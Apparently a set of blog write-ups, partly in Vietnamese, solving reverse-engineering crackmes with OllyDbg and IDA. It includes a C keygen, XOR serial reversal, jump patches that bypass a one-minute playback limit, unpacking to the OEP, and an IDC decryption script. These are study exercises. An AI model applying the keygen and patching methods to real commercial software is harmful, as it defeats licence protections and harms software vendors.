ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&szSerial);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&buf);
LOBYTE(iTemp) = 2;
CWnd::GetWindowTextW(a1 + 0x130, &szName);
if ( *(_DWORD *)(szName - 0xC) == 4 )
{
    i = 0;
    while ( (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, i) >= 'a'
        && (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, i) <= 'z' ) { ++i; if ( i >= 4 )
    {
first_loop:
        j = 0;
        while ( 1 )
        {
        if ( k != j )
        {
            v6 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, j);
            if ( (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, k) == v6 )
            goto EndCheck;
        }
        ++j;
        if ( j >= 4 )
        {
            ++k;
            if ( k < 4 )
            goto first_loop;
            CWnd::GetWindowTextW(a1 + 0x1A4, &szSerial);
            if ( *(_DWORD *)(szSerial - 0xC) != 0xB
            || (unsigned __int16)ATL::CSimpleStringT<wchar_t,1>::GetAt(&szSerial, 5) != '-' )
            goto EndCheck;
            szName[0] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, 0);
            iTemp1 = (szName[0] & 1) + 5;
            iTemp2 = ((szName[0] >> 4) & 1) + 5;
            iTemp3 = ((szName[0] >> 1) & 1) + 5;
            iTemp4 = ((szName[0] >> 2) & 1) + 5;
            iTemp5 = ((szName[0] >> 3) & 1) + 5;
            szName[1] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, 1);
            iTemp6 = (szName[1] & 1) + 1;
            iTemp7 = ((szName[1] >> 4) & 1) + 1;
            iTemp8 = ((szName[1] >> 1) & 1) + 1;
            iTemp9 = ((szName[1] >> 2) & 1) + 1;
            iTemp10 = ((szName[1] >> 3) & 1) + 1;
            wcharBuf1 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&buf);
            itow_s(iTemp1 + iTemp9, wcharBuf1, 0xAu, 0xA);
            iBuf1 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&buf, 0);
            szSerial[0] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szSerial, 0);
            v2 = &buf;
            if ( szSerial[0] == iBuf1 )
            {
            ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&buf, 0xFFFFFFFF);
            wcharBuf2 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&buf);
            itow_s(iTemp5 + iTemp10, wcharBuf2, 0xAu, 0xA);
            szSerial[1] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szSerial, 1);
            iBuf2 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&buf, 0);
            v2 = &buf;
            if ( szSerial[1] == iBuf2 )
            {
                ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&buf, 0xFFFFFFFF);
                wcharBuf3 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&buf);
                itow_s(iTemp3 + iTemp7, wcharBuf3, 0xAu, 0xA);
                szSerial[2] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szSerial, 2);
                iBuf3 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&buf, 0);
                v2 = &buf;
                if ( szSerial[2] == iBuf3 )
                {
                ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&buf, 0xFFFFFFFF);
                wcharBuf4 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&buf);
                itow_s(iTemp4 + iTemp6, wcharBuf4, 0xAu, 0xA);
                szSerial[3] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szSerial, 3);
                iBuf4 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&buf, 0);
                v2 = &buf;
                if ( szSerial[3] == iBuf4 )
                {
                    ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&buf, 0xFFFFFFFF);
                    wcharBuf5 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&buf);
                    itow_s(iTemp2 + iTemp8, wcharBuf5, 0xAu, 0xA);
                    szSerial[4] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szSerial, 4);
                    iBuf5 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&buf, 0);
                    v2 = &buf;
                    if ( szSerial[4] == iBuf5 )
                    {
                    ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&buf, 0xFFFFFFFF);
                    szName[2] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, 2);
                    iTemp11 = (szName[2] & 1) + 5;
                    iTemp12 = ((szName[2] >> 4) & 1) + 5;
                    iTemp13 = ((szName[2] >> 1) & 1) + 5;
                    iTemp14 = ((szName[2] >> 2) & 1) + 5;
                    iTemp15 = ((szName[2] >> 3) & 1) + 5;
                    szName[3] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, 3);
                    iTemp16 = (szName[3] & 1) + 1;
                    iTemp17 = ((szName[3] >> 4) & 1) + 1;
                    iTemp18 = ((szName[3] >> 1) & 1) + 1;
                    iTemp19 = ((szName[3] >> 2) & 1) + 1;
                    iTemp20 = ((szName[3] >> 3) & 1) + 1;
                    wcharBuf6 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&buf);
                    itow_s(iTemp11 + iTemp19, wcharBuf6, 0xAu, 0xA);
                    szSerial[6] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szSerial, 6);
                    iBuf6 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&buf, 0);
                    v2 = &buf;
                    if ( szSerial[6] == iBuf6 )
                    {
                        ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&buf, 0xFFFFFFFF);
                        wcharBuf7 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&buf);
                        itow_s(iTemp15 + iTemp20, wcharBuf7, 0xAu, 0xA);
                        szSerial[7] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szSerial, 7);
                        iBuf7 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&buf, 0);
                        v2 = &buf;
                        if ( szSerial[7] == iBuf7 )
                        {
                        ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&buf, 0xFFFFFFFF);
                        wcharBuf8 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&buf);
                        itow_s(iTemp13 + iTemp17, wcharBuf8, 0xAu, 0xA);
                        szSerial[8] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szSerial, 8);
                        iBuf8 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&buf, 0);
                        v2 = &buf;
                        if ( szSerial[8] == iBuf8 )
                        {
                            ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&buf, 0xFFFFFFFF);
                            wcharBuf9 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&buf);
                            itow_s(iTemp14 + iTemp16, wcharBuf9, 0xAu, 0xA);
                            szSerial[9] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szSerial, 9);
                            iBuf9 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&buf, 0);
                            v2 = &buf;
                            if ( szSerial[9] == iBuf9 )
                            {
                            ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&buf, 0xFFFFFFFF);
                            wcharBuf10 = (wchar_t *)ATL::CSimpleStringT<wchar_t,1>::GetBuffer(&buf);
                            itow_s(iTemp12 + iTemp18, wcharBuf10, 0xAu, 0xA);
                            szSerial[10] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szSerial, 0xA);
                            iBuf10 = ATL::CSimpleStringT<wchar_t,1>::GetAt(&buf, 0);
                            v2 = &buf;
                            if ( szSerial[10] == iBuf10 )
                            {
                                ATL::CSimpleStringT<wchar_t,1>::ReleaseBuffer(&buf, 0xFFFFFFFF);
                                ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&buf);
                                ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&szSerial);
                                ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&szName);
                                return 1;
                            }
                            }
                        }
                        }
                    }
                    }
                }
                }
            }
            }
            goto end_check;
        }
        }
    }
    }
}
EndCheck:
v2 = &buf;
end_check:
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v2);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&szSerial);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&szName);
return 0;
}
szName[0] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, 0);
iTemp1 = (szName[0] & 1) + 5;
iTemp2 = ((szName[0] >> 4) & 1) + 5;
iTemp3 = ((szName[0] >> 1) & 1) + 5;
iTemp4 = ((szName[0] >> 2) & 1) + 5;
iTemp5 = ((szName[0] >> 3) & 1) + 5;
szName[1] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, 1);
iTemp6 = (szName[1] & 1) + 1;
iTemp7 = ((szName[1] >> 4) & 1) + 1;
iTemp8 = ((szName[1] >> 1) & 1) + 1;
iTemp9 = ((szName[1] >> 2) & 1) + 1;
iTemp10 = ((szName[1] >> 3) & 1) + 1;

szSerial[0] = 7 = iTemp1 + iTemp9
szSerial[1] = 6 = iTemp5 + iTemp10
szSerial[2] = 8 = iTemp3 + iTemp7
szSerial[3] = 7 = iTemp4 + iTemp6
szSerial[4] = 6 = iTemp2 + iTemp8

szName[2] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, 2);
iTemp11 = (szName[2] & 1) + 5;
iTemp12 = ((szName[2] >> 4) & 1) + 5;
iTemp13 = ((szName[2] >> 1) & 1) + 5;
iTemp14 = ((szName[2] >> 2) & 1) + 5;
iTemp15 = ((szName[2] >> 3) & 1) + 5;
szName[3] = ATL::CSimpleStringT<wchar_t,1>::GetAt(&szName, 3);
iTemp16 = (szName[3] & 1) + 1;
iTemp17 = ((szName[3] >> 4) & 1) + 1;
iTemp18 = ((szName[3] >> 1) & 1) + 1;
iTemp19 = ((szName[3] >> 2) & 1) + 1;
iTemp20 = ((szName[3] >> 3) & 1) + 1;

szSerial[6] = 7 = iTemp11 + iTemp19
szSerial[7] = 7 = iTemp15 + iTemp20
szSerial[8] = 7 = iTemp13 + iTemp17
szSerial[9] = 7 = iTemp14 + iTemp16
szSerial[10] = 6 = iTemp12 + iTemp18

Keygen source:

</pre>
#include <stdio.h>
#include <stdlib.h>

int main()
{
    int szName0, szName1;
    int iTemp1, iTemp2, iTemp3, iTemp4, iTemp5, iTemp6, iTemp7, iTemp8, iTemp9, iTemp10;
    int i=0, j=0;
    int szSerial[10] = {7,6,8,7,6,7,7,7,7,6};

    for (i=0; i<2; i++)
    {
        for (szName0 = 0x61; szName0 <= 0x7a; szName0++)
        {
            for (szName1 = 0x61; szName1 <= 0x7a; szName1++)
            {
                iTemp1 = (szName0 & 1) + 5;
                iTemp2 = ((szName0 >> 4) & 1) + 5;
                iTemp3 = ((szName0 >> 1) & 1) + 5;
                iTemp4 = ((szName0 >> 2) & 1) + 5;
                iTemp5 = ((szName0 >> 3) & 1) + 5;

                iTemp6 = (szName1 & 1) + 1;
                iTemp7 = ((szName1 >> 4) & 1) + 1;
                iTemp8 = ((szName1 >> 1) & 1) + 1;
                iTemp9 = ((szName1 >> 2) & 1) + 1;
                iTemp10 = ((szName1 >> 3) & 1) + 1;

                if ((iTemp1 + iTemp9) == szSerial[j])
                {
                    if ((iTemp5 + iTemp10) == szSerial[j+1])
                    {
                        if ((iTemp3 + iTemp7) == szSerial[j+2])
                        {
                            if ((iTemp4 + iTemp6) == szSerial[j+3])
                            {
                                if ((iTemp2 + iTemp8) == szSerial[j+4])
                                {
                                    printf("%c  %c\n", szName0, szName1);
                                }
                            }
                        }
                    }
                }

            }
        }
        printf("----------------------------\n");
        j = 5;
    }

    return 0;
}

Result after execute keygen:

Krchal73

Figure 3

Krchal74

Figure 4

End.


Run program, draw something and press check button. We’ll get the “Wrong” message box:

Krchal61

Figure 1

Load program to OllyDBG, search for all referenced text strings to find Wrong message:

Krchal62

Figure 2

Scroll up we can see a big loop that compare values at bl & cl, if not equal it will jump to the code displays wrong message:

Krchal63

Figure 3

Place bp at 004013A3 > > /8A11   mov   dl, byte ptr [ecx], press F9 to run, draw something and press check button, we will stop at bp. Look for the value store at [ecx] & [eax+ecx]:

Krchal64

Figure 4

Krchal65

Figure 5

Notice the 0x0047E060 address, this address belongs to rersource section (.rsrc):

Mem0ry map, item 22
 Address=0047E000
 Size=00016000 (90112.)
 Owner=ImagePrc 00400000
 Section=.rsrc
 Contains=resources
 Type=Imag 01001002
 Access=R
 Initial access=RWE

Convert VA 0x0047E060 to Offset, we have 0x9060. Let’s use hex editor to open program, go to 0x9060:

Krchal67

Figure 6

Find and select all offsets has 0xFF value, we have the block size is:

Krchal68

Figure 7

This value corressponding with the number of iterations that we see in the loop check. So we know that the memory area pointed by ecx register must contains all the same value. How can we have theses value? Scroll up to the top of function, we see the code:

0040116A   .  8D4424 48    lea     eax, dword ptr [esp+0x48]
0040116E   .  50            push    eax                              ; /pPaintstruct
0040116F   .  56            push    esi                              ; |hWnd
00401170   .  FF15 E0504000 call    dword ptr [<BeginPaint>]         ; \BeginPaint

The BeginPaint function prepares the specified window for painting and fills a PAINTSTRUCT structure with information about the painting. With this information, we guess that we have to draw something and then it can be used to compare with fixed data at offset 9060. Look at the code bellow BeginPaint:

0040117C   .  68 2000CC00           push    0xCC0020            ; /ROP = SRCCOPY
00401181   .  6A 00                 push    0x0                 ; |YSrc = 0x0
00401183   .  6A 00                 push    0x0                 ; |XSrc = 0x0
00401185   .  51                    push    ecx                 ; |hSrcDC => 0B0100AF
00401186   .  68 96000000           push    0x96                ; |Height = 96 (150.)
0040118B   .  68 C8000000           push    0xC8                ; |Width = C8 (200.)
00401190   .  6A 00                 push    0x0                 ; |YDest = 0x0
00401192   .  6A 00                 push    0x0                 ; |XDest = 0x0
00401194   .  50                    push    eax                 ; |hDestDC
00401195   .  FF15 30504000         call    dword ptr [<BitBlt>]; \BitBlt

The BitBlt function performs a bit-block transfer of the color data corresponding to a rectangle of pixels from the specified source device context into a destination device context. Scroll down a little bit, we see this code:

00401200   .  68 96000000           push    0x96                             ; /Height = 96 (150.)
00401205   .  68 C8000000           push    0xC8                             ; |Width = C8 (200.)
0040120A   .  56                    push    esi                              ; |hDC
0040120B   .  FF15 0C504000         call    dword ptr [<CreateCompatibleBitm>; \CreateCompatibleBitmap

The CreateCompatibleBitmap function creates a bitmap compatible with the device that is associated with the specified device context. Notice the Height and Width value, these value is the same with values at BitBlt call. Collect all information, we now know that we need to create a bitmap image with Height = 96 (150.) and Width = C8 (200.), and this image must contains 0x15F90 bytes from offset 0x9060. Let’s use mspaint to create a bitmap image with size is 200×150, open it in hex editor, then copy all data from offset 0x9060 and paste to offset of bitmap image that contains 0xFF values. Save image and open it, we get the flag:

Krchal69

Figure 8

End.


Rule: This MP3 Player is limited to 1 minutes. You have to play more than one minute. There are exist several 1-minute-check-routine. After bypassing every check routine, you will see the perfect flag.

Program is coded and compiled by MS Visual Basic 5.0-6.0. Execute file and play any mp3 file, we receive a message box when progress bar reach 1-minute:

Krchal51

Figure 1

Okay, load file to OllyDBG and search for all referenced text strings to find the string in the message box above, but can’t find any related information. So we have to set a BP to the MSVBVM60.rtcMsgBox API to find the code that displays the message box above. After place a breakpoint, press F9 to run the program and play mp3 file, we will reach here after play over 1 minute:

Krchal52

Figure 2

Go to 004045DE address, scroll up we’ll find the jump that by pass the call to rtcMsgBox:

Krchal53

Figure 3

Let’s patch this jump to unconditional jump like this:

Krchal54

Figure 4

Re-run program, play file again and see what’s happen:

Krchal55

Figure 5

Huh… Run time error! May be this program has another check, so we need to find the code section that make program crash. Restart OllyDBG, press F9 to run, then open and play mp3 file. Wait until the it plays file about 57 – 58 seconds, back to OllyDBG immediately and set BP at 0040456B . /0F8C 8D000000   jl Music_Pl.004045FE. Program will stop at BP like the picture bellow:

Krchal56

Figure 6

Patch to JMP to skip the call displays a message limited playing music file within 1 minute, continue trace over with F8, we’ll find the code that make program crash:

Krchal57

Figure 7

Scroll up and patch the jump to by pass this call above:

Krchal58

Figure 8

After patch two check location, press F9 to run program … we will see the flag at the caption:

Krchal59

Figure 9

Flag is : LIstenCare

End.


Rule: Find the Name when the Serial is 5B134977135E7D13

With the above Serial, we can guess the Name will have 8 characters. Combine analysis target by both IDA and OllyDBG, we have the pseudo code is:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int j; // ebp@1
  signed int i; // esi@1
  int result; // eax@6
  int v6; // [sp+0h] [bp-13Ch]@0
  int v7; // [sp+0h] [bp-13Ch]@1
  char defVal[3]; // [sp+Ch] [bp-130h]@1
  char szBuff; // [sp+10h] [bp-12Ch]@1
  char v10; // [sp+11h] [bp-12Bh]@1
  __int16 v11; // [sp+71h] [bp-CBh]@1
  char v12; // [sp+73h] [bp-C9h]@1
  char szCalSerial; // [sp+74h] [bp-C8h]@1
  char v14; // [sp+75h] [bp-C7h]@1
  __int16 v15; // [sp+139h] [bp-3h]@1
  char v16; // [sp+13Bh] [bp-1h]@1

  szBuff = 0;
  szCalSerial = 0;
  memset(&v10, 0, 0x60u);
  v11 = 0;
  v12 = 0;
  memset(&v14, 0, 0xC4u);
  v15 = 0;
  v16 = 0;
  defVal[0] = 0x10;
  defVal[1] = 0x20;
  defVal[2] = 0x30;
  sub_4011B9((int)"Input Name: ", v6);
  scanf("%s", &szBuff);
  j = 0;
  for ( i = 0; j < (signed int)strlen(&szBuff); ++i ) { if ( i >= 3 )
      i = 0;
    sprintf(&szCalSerial, "%s%02X", &szCalSerial, *(&szBuff + j++) ^ defVal[i]);
  }
  memset(&szBuff, 0, 0x64u);
  sub_4011B9((int)"Input Serial: ", v7);
  scanf("%s", &szBuff);
  if ( !strcmp(&szBuff, &szCalSerial) )
  {
    sub_4011B9((int)"Correct!\n", *(int *)defVal);
    result = 0;
  }
  else
  {
    sub_4011B9((int)"Wrong\n", *(int *)defVal);
    result = 0;
  }
  return result;
}

Very clearly, this code gets the Input Name to szBuff. Through the loop to convert the Input Name by using XOR operator with defVal array and finally store value at szCalSerial. After that it compares Input Serial with szCalSerial, so szCalSerial must equal “5B134977135E7D13”. Perform reverse the XOR calculations we’ll have the correct Input Name:

Input_Name[0] ^ 0x10 = 5B -> 4B K
Input_Name[1] ^ 0x20 = 13 -> 33 3
Input_Name[2] ^ 0x30 = 49 -> 79 y
Input_Name[3] ^ 0x10 = 77 -> 67 g
Input_Name[4] ^ 0x20 = 13 -> 33 3
Input_Name[5] ^ 0x30 = 5E -> 6E n
Input_Name[6] ^ 0x10 = 7D -> 6D m
Input_Name[7] ^ 0x20 = 13 -> 33 3
  • Right Input Name : K3yg3nm3

End.


First, run file and input fake key, press check button. The program is crashed:

Krchal31

Figure 1

Use OllyDBG to load file and search for all referenced text strings:

Krchal32

Figure 2

Double-click on the “ASCII “Correct!”” will back to the disassembly window.

Krchal33

Figure 3

We see to JMP instructions above that will bypass the “Correct!” string. Scroll up a little bit and set BP at: 0040105A . FF15 9C504000     call   dword ptr [<GetDlgItemInt>] ; \GetDlgItemInt

Press F9 to run, input fake key to text box, then click Check button, we will stop at bp

Krchal34

Figure 4

EAX register contains the fake key and then fake key is stored at ds:[004084D0]=00000000. We need to trace into the 00401065   . E8 05360000       call   Replace.0040466F ; to see what happen with the fake key?

Krchal35

Figure 5

Review the code at 0040466F, we have some calls that can used to check or calculate something and at the end of this function, we see the jmp instruction that jump back to the 00401071 address. At 00401071 is the jump instruction that bypass the Correct message!! Continue to trace with F7:

0040467A         .  C705 16604000>mov     dword ptr [406016], 619060EB            ;  <-- mov opcode 0x619060EB to [406016]

Krchal36

Figure 6

Continue with this code:

00404684         .  E8 00000000   call    Replace.00404689
00404689        /$  FF05 D0844000 inc     dword ptr [<InputKey>]  ;  <- InputKey ++
0040468F        \.  C3            retn

Pseudo code: InputKey = InputKey + 1 + 1. Then return to this instruction:

00404674          8105 D0844000 C7051660   add     dword ptr [<InputKey>], 601605C7 ; <- InputKey +  0x601605C7

After trace over this instruction, we have: InputKey = InputKey + 0x601605C7
Next, we go to these codes same as we see above:

0040467E          40                       inc     eax
0040467F          00EB                     add     bl, ch
00404681          60                       pushad
00404682          90                       nop
00404683          61                       popad
00404684          E8 00000000              call    Replace.00404689
00404689          FF05 D0844000            inc     dword ptr [<InputKey>]  ; <- InputKey ++
0040468F          C3                       retn

This code again increases InputKey: InputKey = InputKey + 1 + 1. Summerize, we have: InputKey = InputKey + 1 + 1 + 0x601605C7 + 1 + 1 (Example: If the InputKey is 123456789 (0x75B CD15), after calculate we have result is 0x6771 D2E0). After have the result of InputKey, we will return to:

Krchal37

Figure 7

Trace over the JMP, we land at this code:

Krchal38

Figure 8

Krchal39

Figure 9

Notice the JMP that jump back to 00401071. First, this code loads InputKey that calculated above to EAX, then replace the content of 40466F to asm instruction with opcode is 0xC39000C6:

Krchal310

Figure 10

Bellow 0040469F C705 6F464000 C60090C3 mov dword ptr [40466F], C39000C6 ; , we see two call instruction to 40466F. Cause EAX contains InputKey value, so at 40466F will mov the hex value 0x90 to the content of EAX (in other words, it is the content of InputKey). 0x90 equivalent to NOP instruction. Thus, we can see two NOP instructions is used to assign to the content of EAX. Finally, we jump back to the 0x401071 (004046C4 ^\E9 A8C9FFFF   jmp     Replace.00401071), at this address we see the jmp that bypass the Correct message:

Krchal311

Figure 11

At 401071 address, we need to NOP the jmp instruction so that can not jump out of the code that contains the correct string. With this idea and along with the entire process of code analysis above, we need to enter the InputKey, then after calculation code we’ll have value is 401071. So the right InputKey is:

InputKey + 1 + 1 + 0x601605C7 + 1 + 1 = 0x401071

  • InputKey = 0x00401071 - 1 - 1 - 0x601605C7 - 1 – 1 = FFFFFFFFA02A0AA6
  • FFFFFFFFA02A0AA6 + 100000000 = A02A 0AA6 (2687109798 in decimal format)

Krchal312

Figure 12

End.

Load Easy_UnpackMe to OllyDBG, scroll down to find JMP instruction:

Krchal21

Figure 1

Set BP at 0040A1FB - E9 506FFFFF     jmp     Easy_Unp.00401150, press F9 to run. Stop at BP, press F8 to trace over, we get the OEP is 0x00401150:

Krchal22

Figure 2

Anotherway to find OEP is to set BP at GetVersion API:

Krchal23

Figure 3

End.


Load target to OllyDBG and search all referenced text strings:

Krchal1

Figure 1

Double click on the “Congratulation  !!”, go here:

Krchal2

Figure 2

Scroll up a little bit and set a BP at GetDlgItemTextA:

Krchal3

Figure 3

Press F9 to run, input any key that you want:

004010B0    |.  807C24 05 61  cmp     byte ptr [esp+5], 61        ;  <- InputKey[1] = 'a'?
004010B5    |.  75 7E         jnz     short Easy_Cra.00401135     ;  <- If not, show incorrect!
004010B7    |.  6A 02         push    2
004010B9    |.  8D4C24 0A     lea     ecx, dword ptr [esp+A]
004010BD    |.  68 78604000   push    Easy_Cra.00406078           ;  ASCII "5y"
004010C2    |.  51            push    ecx
004010C3    |.  E8 88000000   call    Easy_Cra.00401150           ;  <- InputKey[2,3] = '5y'?
004010C8    |.  83C4 0C       add     esp, 0C
004010CB    |.  85C0          test    eax, eax
004010CD    |.  75 66         jnz     short Easy_Cra.00401135     ;  <- If not, show incorrect!
004010CF    |.  53            push    ebx
004010D0    |.  56            push    esi
004010D1    |.  BE 6C604000   mov     esi, Easy_Cra.0040606C      ;  ASCII "R3versing"
004010D6    |.  8D4424 10     lea     eax, dword ptr [esp+10]
004010DA    |>  8A10          /mov     dl, byte ptr [eax]
004010DC    |.  8A1E          |mov     bl, byte ptr [esi]
004010DE    |.  8ACA          |mov     cl, dl
004010E0    |.  3AD3          |cmp     dl, bl
004010E2    |.  75 1E         |jnz     short Easy_Cra.00401102
004010E4    |.  84C9          |test    cl, cl
004010E6    |.  74 16         |je      short Easy_Cra.004010FE
004010E8    |.  8A50 01       |mov     dl, byte ptr [eax+1]       ;  <-- This loop compare InputKey[4...] =  'R3versing'
004010EB    |.  8A5E 01       |mov     bl, byte ptr [esi+1]
004010EE    |.  8ACA          |mov     cl, dl
004010F0    |.  3AD3          |cmp     dl, bl
004010F2    |.  75 0E         |jnz     short Easy_Cra.00401102
004010F4    |.  83C0 02       |add     eax, 2
004010F7    |.  83C6 02       |add     esi, 2
004010FA    |.  84C9          |test    cl, cl
004010FC    |.^ 75 DC         \jnz     short Easy_Cra.004010DA
004010FE    |>  33C0          xor     eax, eax
00401100    |.  EB 05         jmp     short Easy_Cra.00401107
00401102    |>  1BC0          sbb     eax, eax
00401104    |.  83D8 FF       sbb     eax, -1
00401107    |>  5E            pop     esi
00401108    |.  5B            pop     ebx
00401109    |.  85C0          test    eax, eax
0040110B    |.  75 28         jnz     short Easy_Cra.00401135
0040110D    |.  807C24 04 45  cmp     byte ptr [esp+4], 45        ;  <-- InputKey[0] = 'E'?
00401112    |.  75 21         jnz     short Easy_Cra.00401135     ;  <- If not, show incorrect!

After tracing through this code, we can get the correct Input Key is: Ea5yR3versing

End.


Note lại mấy cái Plugin của các bạn Tung Quở. Thông tin mô tả được dịch bởi Google Translate 🙂

OllyDisasm201: I believe a lot of friends using times OD1.1 and often encounter some of the instructions not recognize; or be able to identify but not a single step, resulting in unable to analysis, this plug-in is solve this problem.

OllyRecord: This plug-in function slightly more points, there are three main functions, the conditions hard off the record, dynamically symbol loading, Advanced Edition CTRL + G, after two I was not introduced, everyone will be under exploration, said the main condition record breaking hard.

Hard-off condition record:
Use Scenario 1: In analyzing the packet times, a lot of time trying to send and receive packets can be recorded, but do not want to write the DLL HOOK, this times you can use this
The following example, when the instruction flow through the 0101249E address, if ebx> = 0x65 && ebx <= 0x67, is recorded as a pointer to eax, ebx length packets (where eax, ebx can be replaced by an expression such as “% {BYTE PTR [EBX + 3]]} b “, [EBX + 100])

 1

Use Scenario 2: Analysis of function calls in times, you can also use this to record which CALL the function is invoked before, and the parameter values are passed in the number

2

There are also many other uses, as long as the plug-in will be used, the other can take the time to research their own.

Download here: https://mega.nz/#!zt1gAQaA!P19K8xnzURYfzjy5NmBf3hUgsq02VFK4GbPMXJLxFZs

Regards,


Link: https://forum.tuts4you.com/topic/37666-crackme-find-the-flag-by-extremecoders/

Cái crackme này lúc đầu download về, cho vào IDA analyse, nhìn đống messy code xong thấy ngơ luôn, như kiểu thanh niên ngáo đá muốn phá đảo thế giới ảo ….emo_popo_choler. Sau đọc được bài write-up của kao (http://lifeinhex.com/solving-find-the-flag-crackme-by-extreme-coders/), thấy dị dị nên note lại. sexy_girl.

Load crackme vào IDA, quan sát code tại _main thấy như sau:

2015-11-05_9-39-22Đặt BP tại lệnh popa:

2015-11-05_9-53-19Tiến hành debug, dừng lại tại bp, quan sát thấy vùng code đã được giải mã như sau:

2015-11-05_9-57-35Cuộn chuột xuống dưới để xem code đã được giải mã hết chưa thì lại bắt gặp vòng lặp xor nữa beated và vùng code bị encrypted ở dưới còn rất nhiều:

2015-11-05_10-03-252015-11-05_10-04-38Việc đặt BP để decrypt code bằng tay sẽ mất nhiều thời gian và không hiệu quả. Cách hiệu quả nhất là dùng script để thực hiện việc giải mã một cách tự động. Script thực hiện quá trình giải mã như sau:

/* IDC Script: this script automate decrypt all encrypted code */
//declare local variables
auto ea;
auto addr;
auto size;
auto xorval;
auto x;
auto b;
 
ea = MinEA(); //set ea to the lowest address used in the program (ea = 401000h)
ea = FindBinary(ea, SEARCH_DOWN , "E8 00 00 00 00 5E 81 C6"); // search for the specified byte. If not found return BADADDR. Ex: First found at 40103Bh
while (ea != BADADDR)
{
   addr = ea + 5 + 0x16;      //get adrr of encrypted code (ex: addr = 40103Bh + 5 + 0x16 = 401056h)
   size = Dword(ea + 0xD);    //get size of encrypted code at ea (40103Bh), ex: size = 204h
   xorval = Byte(ea + 0x15);  //get xor key, ex: xorval = 86h

   Message(form("Encrypted code parameters: start=%x size=%x key=%x\n", addr, size, xorval));
   for (x=0; x<size; x++)
   {
      b = Byte(addr + x);
      PatchByte(addr + x, b^xorval);
   }
   ea = FindBinary(ea +1, SEARCH_DOWN, "E8 00 00 00 00 5E 81 C6"); //next found, ex: ea = 401277h
}

Toàn bộ đoạn script trên thực hiện việc tìm kiếm vùng code liên quan đến việc giải mã, sau đó trích xuất các thông tin liên quan tới vùng code bị encrypted, gồm địa chỉ (ea), kích thước (size), key mã hóa (xorval). Sau khi có đủ thông tin, thực hiện việc giải mã.

